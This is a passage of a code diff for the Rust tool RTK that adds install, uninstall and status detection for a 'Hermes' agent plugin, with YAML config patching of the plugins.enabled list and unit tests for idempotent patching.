assert!(!status.cursor_hook_installed); + } + + #[test] + fn test_agent_status_ignores_hermes_plugin_dir_without_manifest() { + let temp_home = tempfile::tempdir().unwrap(); + let plugin_dir = temp_home + .path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME); + std::fs::create_dir_all(plugin_dir).unwrap(); + + let status = AgentIntegrationStatus::detect_from_home(temp_home.path()); + + assert!(!status.hermes_plugin_installed); + } + + #[test] + fn test_format_text_reports_hermes_plugin_detected() { + let mut report = make_report(0, 0); + report.agent_status = AgentIntegrationStatus { + hermes_plugin_installed: true, + ..AgentIntegrationStatus::default() + }; + + let output = format_text(&report, 10, false); + + assert!( + output.contains("Hermes plugin is installed"), + "Expected Hermes installed note in output but got:\n{}", + output + ); + } + + #[test] + fn test_format_json_includes_agent_status() { + let mut report = make_report(0, 0); + report.agent_status = AgentIntegrationStatus { + cursor_hook_installed: true, + hermes_plugin_installed: true, + }; + + let output = format_json(&report); + let json: serde_json::Value = serde_json::from_str(&output).unwrap(); + + assert_eq!(json["agent_status"]["cursor_hook_installed"], true); + assert_eq!(json["agent_status"]["hermes_plugin_installed"], true); + } } diff --git a/src/hooks/README.md b/src/hooks/README.md index bf947a0f15..01a0213cb5 100644 --- a/src/hooks/README.md +++ b/src/hooks/README.md @@ -19,7 +19,7 @@ LLM agent integration layer that installs, validates, and executes command-rewri ## Installation Modes -`rtk init` supports 6 distinct installation flows: +`rtk init` supports these installation flows: | Mode | Command | Creates | Patches | |------|---------|---------|---------| @@ -30,6 +30,7 @@ LLM agent integration layer that installs, validates, and executes command-rewri | Cline | `rtk init --agent cline` | `.clinerules` | -- | | Codex | `rtk init --codex` | RTK.md in `$CODEX_HOME` or `~/.codex` | AGENTS.md | | Cursor | `rtk init -g --agent cursor` | Cursor hook | hooks.json | +| Hermes | `rtk init --agent hermes` | Python plugin in `~/.hermes/plugins/rtk-rewrite/` | `config.yaml` `plugins.enabled` | ## Integrity Verification diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index 1d9f33ccd8..85340510c8 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -21,3 +21,8 @@ pub const OPENCODE_PLUGIN_FILE: &str = "rtk.ts"; pub const CURSOR_DIR: &str = ".cursor"; pub const CODEX_DIR: &str = ".codex"; pub const GEMINI_DIR: &str = ".gemini"; +pub const HERMES_DIR: &str = ".hermes"; +pub const HERMES_PLUGINS_SUBDIR: &str = "plugins"; +pub const HERMES_PLUGIN_NAME: &str = "rtk-rewrite"; +pub const HERMES_PLUGIN_INIT_FILE: &str = "__init__.py"; +pub const HERMES_PLUGIN_MANIFEST_FILE: &str = "plugin.yaml"; diff --git a/src/hooks/hook_check.rs b/src/hooks/hook_check.rs index ce288ba99e..4dd26d82b8 100644 --- a/src/hooks/hook_check.rs +++ b/src/hooks/hook_check.rs @@ -155,8 +155,9 @@ fn warn_marker_path() -> Option { mod tests { use super::*; use crate::hooks::constants::{ - CODEX_DIR, CONFIG_DIR, CURSOR_DIR, GEMINI_DIR, GEMINI_HOOK_FILE, OPENCODE_PLUGIN_FILE, - OPENCODE_SUBDIR, PLUGIN_SUBDIR, + CODEX_DIR, CONFIG_DIR, CURSOR_DIR, GEMINI_DIR, GEMINI_HOOK_FILE, HERMES_DIR, + HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, + OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, }; fn other_integration_installed(home: &std::path::Path) -> bool { @@ -172,6 +173,10 @@ mod tests { home.join(GEMINI_DIR) .join(HOOKS_SUBDIR) .join(GEMINI_HOOK_FILE), + home.join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE), ]; paths.iter().any(|p| p.exists()) } @@ -265,12 +270,33 @@ mod tests { assert!(other_integration_installed(tmp.path())); } + #[test] + fn test_other_integration_hermes() { + let tmp = tempfile::tempdir().expect("tempdir"); + let path = tmp + .path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE); + std::fs::create_dir_all(path.parent().unwrap()).unwrap(); + std::fs::write(&path, b"plugin").unwrap(); + assert!(other_integration_installed(tmp.path())); + } + #[test] fn test_other_integration_empty_dirs_not_enough() { let tmp = tempfile::tempdir().expect("tempdir"); std::fs::create_dir_all(tmp.path().join(CURSOR_DIR).join(HOOKS_SUBDIR)).unwrap(); std::fs::create_dir_all(tmp.path().join(CODEX_DIR)).unwrap(); std::fs::create_dir_all(tmp.path().join(GEMINI_DIR)).unwrap(); + std::fs::create_dir_all( + tmp.path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME), + ) + .unwrap(); assert!(!other_integration_installed(tmp.path())); } diff --git a/src/hooks/init.rs b/src/hooks/init.rs index eaa3ec7e75..21da7c7485 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -1,6 +1,7 @@ //! Sets up RTK hooks so AI coding agents automatically route commands through RTK. use anyhow::{Context, Result}; +use std::ffi::OsString; use std::fs; use std::io::Write; use std::path::{Path, PathBuf}; @@ -12,7 +13,9 @@ use crate::hooks::constants::{ use super::constants::{ BEFORE_TOOL_KEY, CLAUDE_DIR, CLAUDE_HOOK_COMMAND, CODEX_DIR, CURSOR_HOOK_COMMAND, - GEMINI_HOOK_FILE, HOOKS_JSON, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, + GEMINI_HOOK_FILE, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_INIT_FILE, + HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, + REWRITE_HOOK_FILE, SETTINGS_JSON, }; use super::integrity; @@ -1782,6 +1785,505 @@ fn run_antigravity_mode_at(base_dir: &Path, ctx: InitContext) -> Result<()> { Ok(()) } +// ─── Hermes support ──────────────────────────────────────────── + +const HERMES_PLUGIN_INIT: &str = include_str!("../../hooks/hermes/rtk-rewrite/__init__.py"); +const HERMES_PLUGIN_YAML: &str = include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml"); + +pub fn run_hermes_mode(ctx: InitContext) -> Result<()> { + let hermes_home = resolve_hermes_home()?; + run_hermes_mode_at(&hermes_home, ctx) +} + +fn hermes_plugin_dir(hermes_home: &Path) -> PathBuf { + hermes_home + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) +} + +fn run_hermes_mode_at(hermes_home: &Path, ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let plugin_dir = hermes_plugin_dir(hermes_home); + if !dry_run { + fs::create_dir_all(&plugin_dir).with_context(|| { + format!( + "Failed to create Hermes plugin directory: {}", + plugin_dir.display() + ) + })?; + } + + let init_path = plugin_dir.join(HERMES_PLUGIN_INIT_FILE); + let manifest_path = plugin_dir.join(HERMES_PLUGIN_MANIFEST_FILE); + write_if_changed(&init_path, HERMES_PLUGIN_INIT, "Hermes plugin", ctx)?; + write_if_changed( + &manifest_path, + HERMES_PLUGIN_YAML, + "Hermes plugin manifest", + ctx, + )?; + + let config_path = hermes_home.join("config.yaml"); + let existing_config = if config_path.exists() { + fs::read_to_string(&config_path) + .with_context(|| format!("Failed to read Hermes config: {}", config_path.display()))? + } else { + String::new() + }; + let patched_config = patch_hermes_config(&existing_config); + write_if_changed(&config_path, &patched_config, "Hermes config", ctx)?; + + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRTK configured for Hermes.\n"); + println!(" Plugin: {}", plugin_dir.display()); + println!(" Config: {}", config_path.display()); + println!(" Hermes will now rewrite terminal commands through rtk."); + println!(" Restart Hermes. Test with: git status\n"); + } + + Ok(()) +} + +pub fn uninstall_hermes(ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let hermes_home = resolve_hermes_home()?; + let removed = uninstall_hermes_at(&hermes_home, ctx)?; + + if removed.is_empty() { + println!("RTK Hermes support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK for Hermes CLI:" + } else { + "RTK uninstalled for Hermes CLI:" + }; + println!("{}", header); + for item in removed { + println!(" - {}", item); + } + } + + if dry_run { + print_dry_run_footer(); + } + + Ok(()) +} + +fn uninstall_hermes_at(hermes_home: &Path, ctx: InitContext) -> Result> { + let InitContext { verbose, dry_run } = ctx; + let mut removed = Vec::new(); + + let plugin_dir = hermes_plugin_dir(hermes_home); + if plugin_dir.exists() { + if dry_run { + println!( + "[dry-run] would remove Hermes plugin directory: {}", + plugin_dir.display() + ); + } else { + // nosemgrep: filesystem-deletion -- uninstall intentionally removes only RTK's Hermes plugin directory. + fs::remove_dir_all(&plugin_dir).with_context(|| { + format!( + "Failed to remove Hermes plugin directory: {}", + plugin_dir.display() + ) + })?; + if verbose > 0 { + eprintln!("Removed Hermes plugin directory: {}", plugin_dir.display()); + } + } + removed.push(format!("Hermes plugin: {}", plugin_dir.display())); + } + + let config_path = hermes_home.join("config.yaml"); + if config_path.exists() { + let existing_config = fs::read_to_string(&config_path) + .with_context(|| format!("Failed to read Hermes config: {}", config_path.display()))?; + let patched_config = unpatch_hermes_config(&existing_config); + + if patched_config != existing_config { + if dry_run { + println!( + "[dry-run] would update Hermes config: {}", + config_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", patched_config); + } + } else { + atomic_write(&config_path, &patched_config).with_context(|| { + format!("Failed to write Hermes config: {}", config_path.display()) + })?; + if verbose > 0 { + eprintln!("Updated Hermes config: {}", config_path.display()); + } + } + removed.push("Hermes config: removed RTK plugin entry".to_string()); + } + } + + Ok(removed) +} + +fn patch_hermes_config(existing: &str) -> String { + rewrite_hermes_config(existing, true) +} + +fn unpatch_hermes_config(existing: &str) -> String { + rewrite_hermes_config(existing, false) +} + +fn rewrite_hermes_config(existing: &str, add_rtk: bool) -> String { + if existing.trim().is_empty() { + return if add_rtk { + hermes_plugins_block() + } else { + String::new() + }; + } + + let mut lines = split_yaml_lines(existing); + let Some(plugins_idx) = find_yaml_key_line(&lines, "plugins", 0, None) else { + return if add_rtk { + append_hermes_plugins_block(existing) + } else { + existing.to_string() + }; + }; + + let plugins_indent = yaml_indent(&lines[plugins_idx]); + let plugins_end = yaml_block_end(&lines, plugins_idx, plugins_indent); + let Some(enabled_idx) = find_yaml_key_line( + &lines, + "enabled", + plugins_idx + 1, + Some((plugins_end, plugins_indent)), + ) else { + if add_rtk { + let (enabled_indent, item_indent) = + hermes_missing_enabled_indents(&lines, plugins_idx, plugins_end, plugins_indent); + let enabled_block = format!( + "{}enabled:\n{}- {}\n", + " ".repeat(enabled_indent), + " ".repeat(item_indent), + HERMES_PLUGIN_NAME + ); + ensure_previous_yaml_line_ends_with_newline(&mut lines, plugins_end); + lines.insert(plugins_end, enabled_block); + } + return lines.concat(); + }; + + if yaml_line_without_ending(&lines[enabled_idx]).contains('[') { + rewrite_inline_hermes_enabled(&mut lines, enabled_idx, add_rtk); + return lines.concat(); + } + + rewrite_block_hermes_enabled(&mut lines, enabled_idx, add_rtk); + lines.concat() +} + +fn split_yaml_lines(input: &str) -> Vec { + if input.is_empty() { + Vec::new() + } else { + input.split_inclusive('\n').map(str::to_string).collect() + } +} + +fn ensure_previous_yaml_line_ends_with_newline(lines: &mut [String], insert_idx: usize) { + if insert_idx == 0 { + return; + } + + if let Some(previous) = lines.get_mut(insert_idx - 1) { + if !previous.ends_with('\n') { + previous.push('\n'); + } + } +} + +fn hermes_plugins_block() -> String { + format!("plugins:\n enabled:\n - {}\n", HERMES_PLUGIN_NAME) +} + +fn append_hermes_plugins_block(existing: &str) -> String { + let mut patched = existing.to_string(); + if !patched.ends_with('\n') { + patched.push('\n'); + } + patched.push_str(&hermes_plugins_block()); + patched +} + +fn find_yaml_key_line( + lines: &[String], + key: &str, + start: usize, + block: Option<(usize, usize)>, +) -> Option { + let end = block.map_or(lines.len(), |(end, _)| end); + let min_indent = block.map(|(_, indent)| indent); + + lines[start..end] + .iter() + .enumerate() + .find_map(|(offset, line)| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + if min_indent.is_some_and(|indent| yaml_indent(line) <= indent) { + return None; + } + + let is_key = trimmed == format!("{key}:") || trimmed.starts_with(&format!("{key}:")); + is_key.then_some(start + offset) + }) +} + +fn yaml_block_end(lines: &[String], start: usize, parent_indent: usize) -> usize { + lines[start + 1..] + .iter() + .enumerate() + .find_map(|(offset, line)| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + (yaml_indent(line) <= parent_indent).then_some(start + 1 + offset) + }) + .unwrap_or(lines.len()) +} + +fn rewrite_inline_hermes_enabled(lines: &mut [String], enabled_idx: usize, add_rtk: bool) { + let line_ending = yaml_line_ending(&lines[enabled_idx]); + let raw = yaml_line_without_ending(&lines[enabled_idx]); + let Some((prefix, rest)) = raw.split_once('[') else { + return; + }; + let Some((items_raw, suffix)) = rest.rsplit_once(']') else { + return; + }; + + let mut items = Vec::new(); + let mut saw_rtk = false; + for item in items_raw.split(',') { + let trimmed = item.trim(); + if trimmed.is_empty() { + continue; + } + + if is_hermes_plugin_name(trimmed) { + if add_rtk && !saw_rtk { + items.push(trimmed.to_string()); + saw_rtk = true; + } + } else { + items.push(trimmed.to_string()); + } + } + + if add_rtk && !saw_rtk { + items.push(HERMES_PLUGIN_NAME.to_string()); + } + + let replacement = if items.is_empty() { + format!("{}[]{}{}", prefix, suffix, line_ending) + } else { + format!("{}[{}]{}{}", prefix, items.join(", "), suffix, line_ending) + }; + lines[enabled_idx] = replacement; +} + +fn rewrite_block_hermes_enabled(lines: &mut Vec, enabled_idx: usize, add_rtk: bool) { + let enabled_end = hermes_enabled_list_end(lines, enabled_idx); + let item_indent = hermes_enabled_list_item_indent(lines, enabled_idx, enabled_end); + let mut kept = Vec::with_capacity(lines.len() + 1); + let mut saw_rtk = false; + + for line in &lines[enabled_idx + 1..enabled_end] { + if is_yaml_list_item_named(line, HERMES_PLUGIN_NAME) { + if add_rtk && !saw_rtk { + kept.push(line.clone()); + saw_rtk = true; + } + continue; + } + + kept.push(line.clone()); + } + + if add_rtk && !saw_rtk { + let insert_idx = kept.len(); + ensure_previous_yaml_line_ends_with_newline(&mut kept, insert_idx); + kept.push(format!( + "{}- {}\n", + " ".repeat(item_indent), + HERMES_PLUGIN_NAME + )); + } + + let mut enabled_line = if add_rtk || kept.iter().any(|line| is_yaml_list_item_line(line)) { + lines[enabled_idx].clone() + } else { + collapse_yaml_list_key_to_empty(&lines[enabled_idx]) + }; + + if add_rtk + && kept + .iter() + .any(|line| is_yaml_list_item_named(line, HERMES_PLUGIN_NAME)) + && !enabled_line.ends_with('\n') + { + enabled_line.push('\n'); + } + + let mut patched = Vec::with_capacity(lines.len() + 1); + patched.extend_from_slice(&lines[..enabled_idx]); + patched.push(enabled_line); + patched.extend(kept); + patched.extend_from_slice(&lines[enabled_end..]); + *lines = patched; +} + +fn hermes_enabled_list_end(lines: &[String], enabled_idx: usize) -> usize { + let enabled_indent = yaml_indent(&lines[enabled_idx]); + + lines[enabled_idx + 1..] + .iter() + .enumerate() + .find_map(|(offset, line)| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + let indent = yaml_indent(line); + if indent < enabled_indent + || (indent == enabled_indent && !is_yaml_list_item_line(line)) + { + return Some(enabled_idx + 1 + offset); + } + + None + }) + .unwrap_or(lines.len()) +} + +fn hermes_enabled_list_item_indent( + lines: &[String], + enabled_idx: usize, + enabled_end: usize, +) -> usize { + lines[enabled_idx + 1..enabled_end] + .iter() + .find(|line| is_yaml_list_item_line(line)) + .map(|line| yaml_indent(line)) + .unwrap_or_else(|| yaml_indent(&lines[enabled_idx]) + 2) +} + +fn hermes_missing_enabled_indents( + lines: &[String], + plugins_idx: usize, + plugins_end: usize, + plugins_indent: usize, +) -> (usize, usize) { + let child_indent = lines[plugins_idx + 1..plugins_end] + .iter() + .filter_map(|line| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + let indent = yaml_indent(line); + (indent > plugins_indent).then_some(indent) + }) + .min() + .unwrap_or(plugins_indent + 2); + + let uses_indentationless_sequences = lines[plugins_idx + 1..plugins_end] + .iter() + .any(|line| is_yaml_list_item_line(line) && yaml_indent(line) == child_indent); + + let item_indent = if uses_indentationless_sequences { + child_indent + } else { + child_indent + 2 + }; + + (child_indent, item_indent) +} + +fn yaml_line_without_ending(line: &str) -> &str { + line.trim_end_matches(['\r', '\n']) +} + +fn yaml_line_ending(line: &str) -> &str { + if line.ends_with("\r\n") { + "\r\n" + } else if line.ends_with('\n') { + "\n" + } else { + "" + } +} + +fn yaml_indent(line: &str) -> usize { + yaml_line_without_ending(line) + .chars() + .take_while(|ch| ch.is_whitespace()) + .count() +} + +fn is_yaml_list_item_named(line: &str, expected: &str) -> bool { + let trimmed = yaml_line_without_ending(line).trim(); + let Some(item) = trimmed.strip_prefix("- ") else { + return false; + }; + + normalized_yaml_scalar(item).is_some_and(|item| item == expected) +} + +fn is_yaml_list_item_line(line: &str) -> bool { + yaml_line_without_ending(line).trim().starts_with("- ") +} + +fn is_hermes_plugin_name(value: &str) -> bool { + normalized_yaml_scalar(value).is_some_and(|item| item == HERMES_PLUGIN_NAME) +} + +fn collapse_yaml_list_key_to_empty(line: &str) -> String { + let raw = yaml_line_without_ending(line); + let indent = yaml_indent(line); + let Some((key, suffix)) = raw.split_once(':') else { + return format!("{}enabled: []\n", " ".repeat(indent)); + }; + + let comment = suffix + .find('#') + .map(|idx| format!(" {}", suffix[idx..].trim_start())) + .unwrap_or_default(); + + format!("{}: []{}\n", key, comment) +} + +fn normalized_yaml_scalar(value: &str) -> Option { + let without_comment = value.split_once('#').map_or(value, |(item, _)| item); + let trimmed = without_comment.trim().trim_matches(['\'', '"']); + (!trimmed.is_empty()).then(|| trimmed.to_string()) +} + fn run_codex_mode(global: bool, ctx: InitContext) -> Result<()> { let (agents_md_path, rtk_md_path) = if global { let codex_dir = resolve_codex_dir()?; @@ -2195,6 +2697,23 @@ fn resolve_codex_dir_from( .context("Cannot determine Codex config directory. Set $CODEX_HOME or $HOME.") } +fn resolve_hermes_home() -> Result { + resolve_hermes_home_from_env(dirs::home_dir(), std::env::var_os("HERMES_HOME")) +} + +fn resolve_hermes_home_from_env( + home_dir: Option, + hermes_home: Option, +) -> Result { + if let Some(path) = hermes_home.filter(|value| !value.is_empty()) { + return Ok(PathBuf::from(path)); + } + + home_dir + .map(|home| home.join(HERMES_DIR)) + .context("Cannot determine Hermes home directory. Set $HERMES_HOME or $HOME.") +} + fn codex_rtk_md_ref(codex_dir: &Path) -> String { format!("@{}", codex_dir.join(RTK_MD).display()) } @@ -3550,6 +4069,490 @@ mod tests { assert_eq!(content.matches("@RTK.md").count(), 1); } + #[test] + fn test_hermes_mode_creates_plugin_files() { + let temp = TempDir::new().unwrap(); + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + + let plugin_dir = temp.path().join("plugins/rtk-rewrite"); + let init_path = plugin_dir.join("__init__.py"); + let manifest_path = plugin_dir.join("plugin.yaml"); + let config_path = temp.path().join("config.yaml"); + + assert!(init_path.exists(), "Python plugin should be created"); + assert!(manifest_path.exists(), "Plugin manifest should be created"); + assert_eq!( + fs::read_to_string(&init_path).unwrap(), + include_str!("../../hooks/hermes/rtk-rewrite/__init__.py") + ); + assert_eq!( + fs::read_to_string(&manifest_path).unwrap(), + include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml") + ); + + let config = fs::read_to_string(&config_path).unwrap(); + assert!(config.contains("plugins:\n")); + assert!(config.contains(" enabled:\n")); + assert_eq!(config.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_mode_preserves_config_and_is_idempotent() { + let temp = TempDir::new().unwrap(); + let config_path = temp.path().join("config.yaml"); + fs::write( + &config_path, + "theme: dark\nplugins:\n enabled:\n - existing-plugin\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let first = fs::read_to_string(&config_path).unwrap(); + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let second = fs::read_to_string(&config_path).unwrap(); + + assert_eq!(first, second, "Hermes config patch should be idempotent"); + assert!(first.contains("theme: dark\n")); + assert!(first.contains(" - existing-plugin\n")); + assert!(first.contains(" search_path: ./plugins\n")); + assert!(first.contains("other: true\n")); + assert_eq!(first.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_mode_preserves_pyyaml_same_indent_config_and_is_idempotent() { + let temp = TempDir::new().unwrap(); + let config_path = temp.path().join("config.yaml"); + fs::write( + &config_path, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let first = fs::read_to_string(&config_path).unwrap(); + run_hermes_mode_at(temp.path(), InitContext::default()).unwrap(); + let second = fs::read_to_string(&config_path).unwrap(); + + let expected = "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n search_path: ./plugins\nother: true\n"; + assert_eq!(first, expected); + assert_eq!( + second, expected, + "Hermes PyYAML config patch should be idempotent" + ); + assert_eq!(first.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_mode_patches_and_uninstalls_pyyaml_same_indent_missing_enabled_idempotently() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + let plugin_dir = hermes_home.join("plugins").join(HERMES_PLUGIN_NAME); + let other_plugin_dir = hermes_home.join("plugins/keep-me"); + let other_plugin_file = other_plugin_dir.join("plugin.yaml"); + let config_path = hermes_home.join("config.yaml"); + + fs::create_dir_all(&other_plugin_dir).unwrap(); + fs::write(&other_plugin_file, "keep").unwrap(); + fs::write( + &config_path, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + run_hermes_mode_at(hermes_home, InitContext::default()).unwrap(); + let first = fs::read_to_string(&config_path).unwrap(); + run_hermes_mode_at(hermes_home, InitContext::default()).unwrap(); + let second = fs::read_to_string(&config_path).unwrap(); + + let installed = "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n enabled:\n - rtk-rewrite\nother: true\n"; + assert_eq!(first, installed); + assert_eq!(second, installed); + assert_eq!(first.matches("rtk-rewrite").count(), 1); + assert!(plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert_eq!(removed_first.len(), 2); + assert!(removed_second.is_empty()); + assert!(!plugin_dir.exists()); + assert!(other_plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let uninstalled = fs::read_to_string(&config_path).unwrap(); + assert_eq!( + uninstalled, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n enabled: []\nother: true\n" + ); + assert!(!uninstalled.contains("\n - \n")); + assert!(!uninstalled.contains("\n -\n")); + assert_eq!(uninstalled.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_uninstall_hermes_at_removes_plugin_dir_and_cleans_config() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + let plugin_dir = hermes_home.join("plugins").join(HERMES_PLUGIN_NAME); + let nested_plugin_file = plugin_dir.join("nested/marker.txt"); + let other_plugin_dir = hermes_home.join("plugins/keep-me"); + let other_plugin_file = other_plugin_dir.join("plugin.yaml"); + let config_path = hermes_home.join("config.yaml"); + + fs::create_dir_all(nested_plugin_file.parent().unwrap()).unwrap(); + fs::write(&nested_plugin_file, "rtk").unwrap(); + fs::create_dir_all(&other_plugin_dir).unwrap(); + fs::write(&other_plugin_file, "keep").unwrap(); + fs::write( + &config_path, + "theme: dark\nplugins:\n enabled:\n - existing-plugin\n - rtk-rewrite\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert_eq!(removed_first.len(), 2); + assert!(removed_second.is_empty()); + assert!(!plugin_dir.exists()); + assert!(other_plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let config = fs::read_to_string(&config_path).unwrap(); + assert!(config.contains("theme: dark\n")); + assert!(config.contains(" - existing-plugin\n")); + assert!(config.contains(" search_path: ./plugins\n")); + assert!(config.contains("other: true\n")); + assert_eq!(config.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_uninstall_hermes_at_cleans_pyyaml_same_indent_config_idempotently() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + let plugin_dir = hermes_home.join("plugins").join(HERMES_PLUGIN_NAME); + let nested_plugin_file = plugin_dir.join("nested/marker.txt"); + let other_plugin_dir = hermes_home.join("plugins/keep-me"); + let other_plugin_file = other_plugin_dir.join("plugin.yaml"); + let config_path = hermes_home.join("config.yaml"); + + fs::create_dir_all(nested_plugin_file.parent().unwrap()).unwrap(); + fs::write(&nested_plugin_file, "rtk").unwrap(); + fs::create_dir_all(&other_plugin_dir).unwrap(); + fs::write(&other_plugin_file, "keep").unwrap(); + fs::write( + &config_path, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n search_path: ./plugins\nother: true\n", + ) + .unwrap(); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert_eq!(removed_first.len(), 2); + assert!(removed_second.is_empty()); + assert!(!plugin_dir.exists()); + assert!(other_plugin_dir.exists()); + assert_eq!(fs::read_to_string(&other_plugin_file).unwrap(), "keep"); + + let config = fs::read_to_string(&config_path).unwrap(); + assert_eq!( + config, + "theme: dark\nplugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n search_path: ./plugins\nother: true\n" + ); + assert!(!config.contains("\n - \n")); + assert!(!config.contains("\n -\n")); + assert_eq!(config.matches("rtk-rewrite").count(), 0); + } + + #[test] + fn test_uninstall_hermes_at_missing_files_is_idempotent() { + let temp = TempDir::new().unwrap(); + let hermes_home = temp.path(); + + let removed_first = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + let removed_second = uninstall_hermes_at(hermes_home, InitContext::default()).unwrap(); + + assert!(removed_first.is_empty()); + assert!(removed_second.is_empty()); + assert!(!hermes_home.join("plugins").exists()); + assert!(!hermes_home.join("config.yaml").exists()); + } + + #[test] + fn test_hermes_config_patch_adds_missing_enabled_list() { + let existing = "theme: dark\nplugins:\n search_path: ./plugins\nother: true\n"; + let patched = patch_hermes_config(existing); + + assert!(patched.contains("theme: dark\n")); + assert!(patched.contains("plugins:\n")); + assert!(patched.contains(" search_path: ./plugins\n")); + assert!(patched.contains(" enabled:\n - rtk-rewrite\n")); + assert!(patched.contains("other: true\n")); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_removes_duplicate_rtk_rewrite() { + let existing = "plugins:\n enabled:\n - rtk-rewrite\n - other\n - rtk-rewrite\n"; + let patched = patch_hermes_config(existing); + + assert!(patched.contains(" - other\n")); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_enabled_list() { + let existing = + "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n disabled:\n - google_meet\n - spotify\n enabled:\n - disk-cleanup\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_default_compact_enabled_list() { + let existing = "plugins:\n enabled:\n - foo\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!(patched, "plugins:\n enabled:\n - foo\n - rtk-rewrite\n"); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_missing_enabled_list() { + let existing = + "plugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n"; + + let patched = patch_hermes_config(existing); + + assert_eq!( + patched, + "plugins:\n disabled:\n - google_meet\n - spotify\n search_path: ./plugins\n enabled:\n - rtk-rewrite\n" + ); + assert_eq!(patched.matches("rtk-rewrite").count(), 1); + } + + #[test] + fn test_hermes_config_patch_pyyaml_indentationless_enabled_is_idempotent() { + let existing = "plugins:\n enabled:\n - disk-cleanup\n disabled:\n - spotify\n"; + + let patched_once = patch_hermes_config(existing); + let patched_twice = patch_hermes_config(&patched_once); + + assert_eq!( + patched_once, + "plugins:\n enabled:\n - disk-cleanup\n - rtk-rewrite\n disabled:\n - spotify\n" + ); + assert_eq!(patched_twice, patched_once); + 